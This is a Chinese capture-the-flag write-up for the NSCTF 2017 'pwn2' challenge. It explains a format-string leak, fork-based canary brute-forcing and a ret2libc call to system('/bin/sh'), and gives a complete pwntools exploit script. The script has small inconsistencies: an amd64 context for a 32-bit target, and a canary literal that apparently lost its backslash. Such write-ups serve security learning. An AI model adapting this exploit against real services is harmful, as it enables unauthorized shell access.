NSCTF 2017-pwn2

Posted 2020-11-15 luoleqi

目录

• 程序基本信息
• 程序漏洞
• 整体思路
• exp脚本
• 发现的问题
• 内容参考

程序基本信息

   32位动态链接程序，开启了数据段不可执行以及栈溢出保护

程序漏洞

   在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞

整体思路

   首先不用说，肯定得先想办法栈溢出，溢出函数我们已经找到，接下来的问题就是得泄露出canary的值，从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值，也另外一种方法就是爆破获得canary的值。程序中有fork函数，通过fork函数打开的子进程因爆破失败结束了也不会影响父进程，借此我们可以不断调用子进程来爆破canary的值。获得canary的值后，因题目给了libc，我们只要随便泄露出库函数的地址，借此计算system与/bin/sh的地址，再通过rop技术，即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.3', 10001)

canary = 'x00'      #canary最低字节必为x00
for i in xrange(3):
    for j in xrange(256):
        io.sendline('Y')
        io.recv()
        io.sendline('%5$p')     #泄露栈上的libc地址
        io.recvuntil('game ')
        leak_libc_addr = int(io.recv(10), 16)
        
        io.recv()
        payload = 'A'*16            #构造payload爆破canary
        payload += canary
        payload += chr(j)                     #逐字节爆破canary
        io.send(payload)
        io.recv()
        if ("" != io.recv(timeout = 0.1)):      #如果canary的字节位爆破正确，应该输出两个"[*] Do you love me?"，因此通过第二个recv的结果判断是否成功
            canary += chr(j)                  #将正确字节拼接上
            log.info('At round %d find canary byte %#x' %(i, j))
            break

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00  + 0x3b060  #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f  #/bin/sh字符串距离libc头部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))

payload = ''                    #构造payload执行system('/bin/sh')
payload += 'A'*16
payload += canary                       #将canary放在正确的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'                       #返回地址任填
payload += p32(binsh_addr)

io.sendline('Y')                #[*] Do you love me?
io.recv()
io.sendline('1')                #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload)                #[*] Input Your Id: 漏洞产生点
io.interactive()

发现的问题

   原文中泄露的libc中的地址是_cxa_atexit+25，但是通过我比较发现，不同库同一函数的代码可能是不一样的

我电脑使用的libc的_cxa_atexit

题目给的libc

   所以说我们在计算函数在内存中的偏移时，最好使用函数名或者全局变量（比如说上文使用的IO_2_1_stdin_）

内容参考

Linux pwn入门教程(9)